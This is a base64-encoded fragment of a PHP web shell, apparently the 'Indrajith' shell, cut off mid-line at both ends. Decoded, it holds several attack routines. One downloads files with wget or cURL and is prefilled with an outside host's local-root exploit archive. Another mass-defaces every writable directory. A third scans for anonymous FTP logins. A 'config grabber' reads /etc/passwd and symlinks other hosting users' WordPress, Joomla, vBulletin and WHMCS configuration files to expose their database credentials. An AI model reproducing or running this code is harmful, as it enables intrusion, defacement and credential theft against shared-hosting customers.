PlVSTCA8aW5wdXQgc2l6ZT01MCBuYW1lPSdydXJsZmlsZScgdmFsdWU9J2FqaXRoa3A1NjAuaG9z
dGVpLmNvbS9sb2NhbHJvb3QvMi42LngvaDAwbHlzaGl0LnppcCc+PC90ZD48L3RyPgogICAgPHRy
Pjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0naW5wdXRfYmlnJyB2YWx1ZT0nICAgPj4g
ICAnIC8+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxi
ciAvPjwvZGl2PiI7Cn0KCmZ1bmN0aW9uIHJlbW90ZV9kb3dubG9hZF9iZygpCnsKICAgIGNoZGly
KCRfR0VUWydwYXRoJ10pOwogICAgZ2xvYmFsICRvczsKICAgICRvcHQ9JF9HRVRbJ3R5cGVfcl9k
b3duJ107CiAgICAkcnRfZmZpbGU9JF9HRVRbJ3J1cmxmaWxlJ107CiAgICAkbmFtZT1iYXNlbmFt
ZSgkcnRfZmZpbGUpOwogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+IjsKICAgIHN3aXRjaCgkb3B0
KQogICAgewogICAgICAgIGNhc2UgIldHRVQiOgogICAgICAgICAgICBpZigkb3MhPSd3aW4nKQog
ICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBjbWQoIndnZXQgJHJ0X2ZmaWxlIik7CiAgICAg
ICAgICAgICAgICBhbGVydCgiRG93bmxvYWRlZCBTdWNjZXNzZnVsbHkuLi4iKTsKICAgICAgICAg
ICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGFsZXJ0
KCJJdHMgV2luZG93cyBPUy4uLiBXR0VUIGlzIG5vdCBhdmFpbGFibGUiKTsKICAgICAgICAgICAg
fQogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJjVVJMIjoKICAgICAgICAgICAgaWYo
ZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkKICAgICAgICAgICAgewogICAgICAgICAgICAg
ICAgJGNoID0gY3VybF9pbml0KCRydF9mZmlsZSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9w
dCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgJGRh
dGEgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAg
ICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRuYW1lLCAkZGF0YSk7CiAgICAgICAgICAg
ICAgICBhbGVydCgiRG93bmxvYWQgc3VjY2VlZGVkIik7CiAgICAgICAgICAgIH0KICAgICAgICAg
ICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBhbGVydCgiY1VSTCBOb3QgQXZh
aWxhYmxlIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICBlY2hv
ICI8L2Rpdj4iOwp9CgpmdW5jdGlvbiBoZXhfZW5jb2RlX3VpKCkKewogICAgaWYoaXNzZXQoJF9S
RVFVRVNUWydoZXhpbnAnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWyd0eXh4eCddKSkKICAgIHsKICAg
ICAgICAkdHl4PSRfUE9TVFsndHl4eHgnXTsKICAgICAgICAkcmV6dWx0eno9JF9QT1NUWydoZXhp
bnAnXTsKICAgICAgICBzd2l0Y2goJHR5eCkKICAgICAgICB7CiAgICAgICAgICAgIGNhc2UgIkVu
Y29kZSI6CiAgICAgICAgICAgICAgICAkcnp1bD1QUkVHX1JFUExBQ0UoIicoLiknZSIsImRlY2hl
eChvcmQoJ1xcMScpKSIsJHJlenVsdHp6KTsKICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgaWQ9
cmVzdWx0PjxjZW50ZXI+PGgyPkhFWEFERUNJTUFMIEVOQ09ERVI8L2gyPjxociAvPjxiciAvPjxi
ciAvPgogICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSd0ZXh0YXJlYV9lZGl0JyBzcGVs
bGNoZWNrPWZhbHNlIGNvbHM9NjAgcm93cz0xMD4kcnp1bDwvdGV4dGFyZWE+CiAgICAgICAgICAg
ICAgICA8YnIgLz48YnIgLz48Zm9ybSBtZXRob2Q9J1BPU1QnPjxzZWxlY3Qgc3R5bGU9J2NvbG9y
OmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7JyBu
YW1lPSd0eXh4eCc+PG9wdGlvbj5FbmNvZGU8L29wdGlvbj48b3B0aW9uPkRlY29kZTwvb3B0aW9u
Pjwvc2VsZWN0PgogICAgICAgICAgICAgICAgSW5wdXQgOiA8aW5wdXQgbmFtZT0naGV4aW5wJyBz
aXplPTUwIHZhbHVlPSdpbnB1dCBoZXJlJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyAgID4+
ICAnIC8+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsKICAgICAgICAgICAg
ICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICJEZWNvZGUiOgogICAgICAgICAgICAgICAgJHJ6
dWw9UFJFR19SRVBMQUNFKCInKFtcUyxcZF17Mn0pJ2UiLCJjaHIoaGV4ZGVjKCdcXDEnKSkiLCRy
ZXp1bHR6eik7CiAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxo
Mj5IRVhBREVDSU1BTCBFTkNPREVSPC9oMj48aHIgLz48YnIgLz48YnIgLz4KICAgICAgICAgICAg
ICAgIDx0ZXh0YXJlYSBjbGFzcz0ndGV4dGFyZWFfZWRpdCcgc3BlbGxjaGVjaz1mYWxzZSBjb2xz
PTYwIHJvd3M9MTA+JHJ6dWw8L3RleHRhcmVhPgogICAgICAgICAgICAgICAgPGJyIC8+PGJyIC8+
PGZvcm0gbWV0aG9kPSdQT1NUJz48c2VsZWN0IHN0eWxlPSdjb2xvcjpncmVlbjsgYmFja2dyb3Vu
ZC1jb2xvcjpibGFjazsgYm9yZGVyOjFweCBzb2xpZCAjNjY2OycgbmFtZT0ndHl4eHgnPjxvcHRp
b24+RW5jb2RlPC9vcHRpb24+PG9wdGlvbj5EZWNvZGU8L29wdGlvbj48L3NlbGVjdD4KICAgICAg
ICAgICAgICAgIElucHV0IDogPGlucHV0IG5hbWU9J2hleGlucCcgc2l6ZT01MCB2YWx1ZT0naW5w
dXQgaGVyZSc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgICA+PiAgJyAvPjxiciAvPjxiciAv
PjxociAvPjxiciAvPjxiciAvPjwvZGl2PiI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAg
ICB9CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNl
bnRlcj48aDI+SEVYQURFQ0lNQUwgRU5DT0RFUjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+CiAgICAg
ICAgPHRleHRhcmVhIGNsYXNzPSd0ZXh0YXJlYV9lZGl0JyBzcGVsbGNoZWNrPWZhbHNlIGNvbHM9
NjAgcm93cz0xMD5IZXJlIHZpc2libGUgWW91ciBSZXN1bHQ8L3RleHRhcmVhPgogICAgICAgIDxi
ciAvPjxiciAvPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHNlbGVjdCBzdHlsZT0nY29sb3I6Z3JlZW47
IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IGJvcmRlcjoxcHggc29saWQgIzY2NjsnIG5hbWU9J3R5
eHh4Jz48b3B0aW9uPkVuY29kZTwvb3B0aW9uPjxvcHRpb24+RGVjb2RlPC9vcHRpb24+PC9zZWxl
Y3Q+CiAgICAgICAgSW5wdXQgOiA8aW5wdXQgbmFtZT0naGV4aW5wJyBzaXplPTUwIHZhbHVlPSdp
bnB1dCBoZXJlJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyAgID4+ICAnIC8+PGJyIC8+PGJy
IC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsKICAgIH0KfQoKZnVuY3Rpb24ga2lsbG1lKCkK
ewogICAgZ2xvYmFsICRzZWxmOwogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+
R29vZCBCeWUgRGVhcjwvaDI+PGhyIC8+RGVhciwgR29vZCBieS4uLiA6KCBIb3BlIFlvdSBMaWtl
IG1lLi4uPGJyIC8+PGJyIC8+PGJyLz48aHIgLz48YnIgLz48YnIgLz4iOwogICAgJG1lPWJhc2Vu
YW1lKCRzZWxmKTsKICAgIHVubGluaygkbWUpOwp9CgpmdW5jdGlvbiBmdHBfYW5vbnltb3VzX3Vp
KCkKewogICAgZWNobyAiPGRpdiBpZD0ncmVzdWx0Jz48Y2VudGVyPjxoMj5Bbm9ueW1vdXMgRlRQ
IFNjYW5uZXI8L2gyPjxociAvPjwvY2VudGVyPjx0YWJsZSBjbGFzcz10Ymw+PGZvcm0gbWV0aG9k
PSdHRVQnPjx0cj48dGQ+PHRleHRhcmVhIG5hbWU9J2Z0cF9hbm9ueicgY29scz00MCByb3dzPTI1
IGNsYXNzPSd0ZXh0YXJlYV9lZGl0Jz4xMjcuMC4wLjEKZnRwLmdvb2dsZS5jb20KZnRwLnIwMHQu
Y29tCmZ0cC5haml0aGtwLm9yZwouLi4KLi4uPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48
aW5wdXQgY2xhc3M9J2lucHV0X2JpZycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIC8+
PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7
Cn0KCmZ1bmN0aW9uIGZ0cF9hbm9ueW1vdXNfYmcoKQp7CiAgICBlY2hvICI8ZGl2IGlkPXJlc3Vs
dD48Y2VudGVyPjxoMj5SZXN1bHQ8L2gyPjwvY2VudGVyPjxociAvPjxiciAvPjxiciAvPjx0YWJs
ZSBjbGFzcz10YWJsZT4iOwogICAgJGZ0cF9saXN0PSRfR0VUWydmdHBfYW5vbnonXTsKICAgICR4
ZnRwbCA9IHRyaW0oJGZ0cF9saXN0KTsKICAgICR4ZnRwbCA9IGV4cGxvZGUoIlxuIiwgJHhmdHBs
KTsKICAgIGZvcmVhY2goJHhmdHBsIGFzICR4ZnRwKQogICAgewogICAgICAgICR4ZnRwID0gc3Ry
X3JlcGxhY2UoImZ0cDovLyIsICIiLCAkeGZ0cCk7CiAgICAgICAgJGNvbm5fZnRwID0gZnRwX2Nv
bm5lY3QoJHhmdHApOwogICAgICAgICRzdWNjZXNzID0gZnRwX2xvZ2luKCRjb25uX2Z0cCwgImFu
b255bW91cyIsICIiKTsKICAgICAgICBpZigkc3VjY2VzcykKICAgICAgICB7CiAgICAgICAgICAg
IGVjaG8gIjx0cj48dGQ+PGZvbnQgY29sb3I9NzE3MUM2PiR4ZnRwPC9mb250PjwvdGQ+PHRkPjxm
b250IGNvbG9yPWdyZWVuPlN1Y2Nlc3NmdWxsPC9mb250PjwvdGQ+PC90cj4iOwogICAgICAgIH0K
ICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxmb250IGNv
bG9yPTcxNzFDNj4keGZ0cDwvZm9udD48L3RkPjx0ZD48Zm9udCBjb2xvcj1yZWQ+RmFpbGVkPC9m
b250PjwvdGQ+PC90cj4iOwogICAgICAgIH0KICAgICAgICAKICAgIH0KICAgIGVjaG8gIjwvdGFi
bGU+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+IjsKfQoKZnVuY3Rpb24gbWFzc19kZWZh
Y2VfdWkoKQp7CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5NYXNzIERlZmFj
ZTwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRibD48Zm9ybSBtZXRob2Q9J0dF
VCc+PGlucHV0IG5hbWU9J21tX3BhdGgnIHR5cGU9J2hpZGRlbicgdmFsdWU9Ii4kX0dFVFsncGF0
aCddLiI+PHRyPjx0ZD5OYW1lIDogPGlucHV0IHNpemU9NDAgbmFtZT0nbWFzc19uYW1lJz48L3Rk
PjwvdHI+CiAgICA8dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSdtYXNzX2NvbnQnIGNvbHM9ODAgcm93
cz0yNSBjbGFzcz0ndGV4dGFyZWFfZWRpdCc+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48
aW5wdXQgY2xhc3M9J2lucHV0X2JpZycgdHlwZT1zdWJtaXQgdmFsdWU9JyAgID4+ICAgJyAvPjwv
dGQ+PC90cj48L2Zvcm0+PC90YWJsZT48YnIgLz48YnIgLz48aHIgLz48YnIgLz48YnIgLz48L2Rp
dj4iOwp9CgpmdW5jdGlvbiBtYXNzX2RlZmFjZV9iZygpCnsKICAgIGdsb2JhbCAkc2VwOwogICAg
JGRfcGF0aD0kX0dFVFsnbW1fcGF0aCddOwogICAgY2hkaXIoJGRfcGF0aCk7CiAgICAkZF9maWxl
PSRfR0VUWydtYXNzX25hbWUnXTsKICAgICRkX2NvbnRlbj0kX0dFVFsnbWFzc19jb250J107CiAg
ICBpZihpc19kaXIoJGRfcGF0aCkpCiAgICB7CiAgICAgICAgY2hkaXIoJGRfcGF0aCk7CiAgICAg
ICAgJGRfZGlycz1hcnJheSgpOwogICAgICAgIGlmKCRoYW5kbGU9b3BlbmRpcigkZF9wYXRoKSkK
ICAgICAgICB7CiAgICAgICAgICAgIHdoaWxlKCgkaXRlbT1yZWFkZGlyKCRoYW5kbGUpKSE9PUZB
TFNFKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZigkaXRlbT09Ii4iKXtjb250aW51
ZTt9CiAgICAgICAgICAgICAgICBpZigkaXRlbT09Ii4uIil7Y29udGludWU7fQogICAgICAgICAg
ICAgICAgaWYoaXNfZGlyKCRpdGVtKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAg
ICAgICBhcnJheV9wdXNoKCRkX2RpcnMsICRpdGVtKTsKICAgICAgICAgICAgICAgIH0KICAgICAg
ICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+
PGgyPlJlc3VsdDwvaDI+PC9jZW50ZXI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRi
bD4iOwogICAgZm9yZWFjaCgkZF9kaXJzIGFzICRkX2RpcikKICAgIHsKICAgICAgICAkeGRfcGF0
aD1nZXRjd2QoKS4iJHNlcCRkX2RpciRzZXAkZF9maWxlIjsKICAgICAgICBpZihpc193cml0YWJs
ZSgkZF9kaXIpKQogICAgICAgIHsKICAgICAgICAgICAgJGhhbmRsZT1mb3BlbigkeGRfcGF0aCwg
IndiIik7CiAgICAgICAgICAgIGlmKCRoYW5kbGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAg
ICAgIGZ3cml0ZSgkaGFuZGxlLCAkZF9jb250ZW4pOwogICAgICAgICAgICB9CiAgICAgICAgfQog
ICAgICAgIGVjaG8gIjx0cj48dGQ+PGZvbnQgY29sb3I9Z3JlZW4+JHhkX3BhdGg8L2ZvbnQ+PC90
ZD48L3RyPiI7CiAgICB9CiAgICBlY2hvICI8L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAv
PjxiciAvPjwvZGl2PiI7Cn0KCgpmdW5jdGlvbiBzeW1saW5rZygkdXNlcm5hbWV4eCwkZG9tYWlu
eHgpCnsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvdmIvaW5j
bHVkZXMvY29uZmlnLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+dkJ1bGxldGluMS50
eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jbHVk
ZXMvY29uZmlnLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+dkJ1bGxldGluMi50eHQn
KTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvZm9ydW0vaW5j
bHVkZXMvY29uZmlnLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+dkJ1bGxldGluMy50
eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY2MvaW5j
bHVkZXMvY29uZmlnLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+dkJ1bGxldGluNC50
eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jL2Nv
bmZpZy5waHAnLCdJbmRyYWppdGgvJy4kZG9tYWlueHguJyA9Pm15YmIudHh0Jyk7CgkJc3ltbGlu
aygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCdJbmRyYWpp
dGgvJy4kZG9tYWlueHguJyA9PlBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vy
bmFtZXh4LicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJ0luZHJhaml0
aC8nLiRkb21haW54eC4nID0+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJu
YW1leHguJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywnSW5kcmFqaXRoLycuJGRvbWFpbnh4
LicgPT5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9w
dWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCdJbmRyYWppdGgvJy4kZG9tYWlueHguJyA9
PldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1Ymxp
Y19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywnSW5kcmFqaXRoLycuJGRvbWFpbnh4LicgPT5Kb29t
bGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9i
bG9nL2NvbmZpZ3VyYXRpb24ucGhwJywnSW5kcmFqaXRoLycuJGRvbWFpbnh4LicgPT5Kb29tbGEy
LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9qb29t
bGEvY29uZmlndXJhdGlvbi5waHAnLCdJbmRyYWppdGgvJy4kZG9tYWlueHguJyA9Pkpvb21sYTMu
dHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL3dobS9j
b25maWd1cmF0aW9uLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+V2htMS50eHQnKTsK
CQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvd2htYy9jb25maWd1
cmF0aW9uLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+V2htMi50eHQnKTsKCQlzeW1s
aW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0
aW9uLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+V2htMy50eHQnKTsKCQlzeW1saW5r
KCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24u
cGhwJywnSW5kcmFqaXRoLycuJGRvbWFpbnh4LicgPT5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9o
b21lLycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBo
cCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9t
ZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcs
J0luZHJhaml0aC8nLiRkb21haW54eC4nID0+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8n
LiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJ0lu
ZHJhaml0aC8nLiRkb21haW54eC4nID0+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1
c2VybmFtZXh4LicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCdJbmRyYWpp
dGgvJy4kZG9tYWlueHguJyA9PldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5h
bWV4eC4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywnSW5kcmFqaXRoLycu
JGRvbWFpbnh4LicgPT5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuYW1leHgu
Jy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+
NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvYWRt
aW4vY29uZmlnLnBocCcsJ0luZHJhaml0aC8nLiRkb21haW54eC4nID0+NC50eHQnKTsKCQlzeW1s
aW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywn
SW5kcmFqaXRoLycuJGRvbWFpbnh4LicgPT5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21l
LycuJHVzZXJuYW1leHguJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJ0luZHJhaml0aC8n
LiRkb21haW54eC4nID0+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4Licv
cHVibGljX2h0bWwvY29ubmVjdC5waHAnLCdJbmRyYWppdGgvJy4kZG9tYWlueHguJyA9PjgudHh0
Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1YmxpY19odG1sL21rX2NvbmYu
cGhwJywnSW5kcmFqaXRoLycuJGRvbWFpbnh4LicgPT5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1s
aW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhw
JywnSW5kcmFqaXRoLycuJGRvbWFpbnh4LicgPT4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8n
LiR1c2VybmFtZXh4LicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywnSW5kcmFqaXRoLycuJGRv
bWFpbnh4LicgPT5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4eC4nL3B1
YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCdJbmRyYWppdGgvJy4kZG9tYWlueHgu
JyA9PnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2VybmFtZXh4LicvcHVibGlj
X2h0bWwvaW5jbHVkZS9kYi5waHAnLCdJbmRyYWppdGgvJy4kZG9tYWlueHguJyA9PmluZmluaXR5
LnR4dCcpOwp9CgpmdW5jdGlvbiBjb25maWdfZ3JhYmJlcl9iZygpCnsKICAgIGdsb2JhbCAkc3lt
X2h0YWNjZXNzLCRzeW1fcGhwX2luaTsKICAgIG1rZGlyKCdJTkRSQUpJVEgnLCAwNzc3KTsKICAg
IHN5bWxpbmsoIi8iLCAiSU5EUkFKSVRIL3Jvb3QiKTsKICAgICRodGFjY2Vzcz1mb3BlbignSU5E
UkFKSVRILy5odGFjY2VzcycsICd3YicpOwogICAgZndyaXRlKCRodGFjY2Vzcywkc3ltX2h0YWNj
ZXNzKTsKICAgICRwaHBfaW5pX3g9Zm9wZW4oJ0lORFJBSklUSC9waHAuaW5pJywgJ3diJyk7CiAg
ICBmd3JpdGUoJHBocF9pbmlfeCwgJHN5bV9waHBfaW5pKTsKICAgICR1c3I9ZXhwbG9kZSgiXG4i
LCRfUE9TVFsndXNlcl96X2xpc3QnXSk7CiAgICBmb3JlYWNoKCR1c3IgYXMgJHV6ZXIpCiAgICB7
CiAgICAgICAgJHVfZXI9dHJpbSgkdXplcik7CiAgICAgICAgc3ltbGluZ2dnKCR1X2VyKTsKICAg
IH0KICAgIGVjaG8gIjxzY3JpcHQ+d2luZG93Lm9wZW4oJ0lORFJBSklUSC8nLCAnX2JsYW5rJyk7
PC9zY3JpcHQ+IjsKICAgIGFsZXJ0KCdDb25maWcgR3JhYiBjb21wdGVkLiBDaGVjayBjb25maWdz
IGluIGRpcmVjb3J5IElORFJBSklUSCcpOwp9CgppZihpc3NldCgkX1BPU1RbJ3VzZXJfel9saXN0
J10pKQp7CiAgICBjb25maWdfZ3JhYmJlcl9iZygpOwp9CgoKZnVuY3Rpb24gY29uZmlnX2dyYWJi
ZXJfdWkoKQp7CiAgICBpZihmaWxlKCcvZXRjL3Bhc3N3ZCcpKQogICAgewogICAgICAgID8+PHNj
cmlwdD5hbGVydCgiL2V0Yy9uYW1lZC5jb25mIE5vdCBGb3VuZCwgSXRzIGFsdGVybmF0aXZlIG1l
dGhvZC4iKTs8L3NjcmlwdD48ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5Db25maWcgR3JhYmJl
cjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRibD48Zm9ybSBtZXRob2Q9UE9T
VD48dHI+PHRkPjx0ZXh0YXJlYSBzcGVsbGNoZWNrPWZhbHNlIGNsYXNzPSd0ZXh0YXJlYV9lZGl0
JyByb3dzPTE1IGNvbHM9NjAgIG5hbWU9dXNlcl96X2xpc3Q+PD9waHAKICAgICAgICAkdXNlcnMg
PSBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQog
ICAgICAgIHsKICAgICAgICAgICAgJHVzZXIgPSBleHBsb2RlKCc6JywgJHVzZXIpOwogICAgICAg
ICAgICBlY2hvICR1c2VyWzBdLiJcbiI7CiAgICAgICAgfQogICAgICAgID8+PC90ZXh0YXJlYT48
L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0naW5wdXRfYmlnJyB2
YWx1ZT0nICAgPj4gICAnLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PGJyIC8+PGJyIC8+PGhy
IC8+PGJyIC8+PGJyIC8+PGhyIC8+PC9kaXY+PD9waHAKICAgIH0KICAgIGVsc2UKICAgIHsKICAg
ICAgICBhbGVydCgiIEZpbGUgTm90IEZvdW5kIDogL2V0Yy9wYXNzd2QgIik7CiAgICB9Cn0KCmZ1
bmN0aW9uIHN5bWxpbmdnZygkdXNlcikKewogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlcm5hbWV4
eC4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCAiSU5EUkFKSVRILyIuJHVz
ZXIuIiA9PmJsb2cvY29uZmlndXJhdGlvbi5waHAiKTsKICAgIHN5bWxpbmsoJy9ob21lLycuJHVz
ZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgIklORFJBSklUSC8i
LiR1c2VyLiIgPT5mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwIik7CiAgICBzeW1saW5rKCIvaG9t
ZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCIsICJJTkRSQUpJVEgvIi4kdXNl
ci4iID0+d3AtY29uZmlnLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1Ymxp
Y19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwIiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT53
b3JkcHJlc3Mvd3AtY29uZmlnLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1
YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT5jb25m
aWd1cmF0aW9uLnBocCIpOwogICAgc3ltbGluaygiL2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1s
L2Jsb2cvd3AtY29uZmlnLnBocCIsICJJTkRSQUpJVEgvIi4kdXNlci4iID0+YmxvZy93cC1jb25m
aWcucGhwIik7CiAgICBzeW1saW5rKCIvaG9tZS8iLiR1c2VyLiIvcHVibGljX2h0bWwvam9vbWxh
L2NvbmZpZ3VyYXRpb24ucGhwIiwgIklORFJBSklUSC8iLiR1c2VyLiIgPT5qb29tbGEvY29uZmln
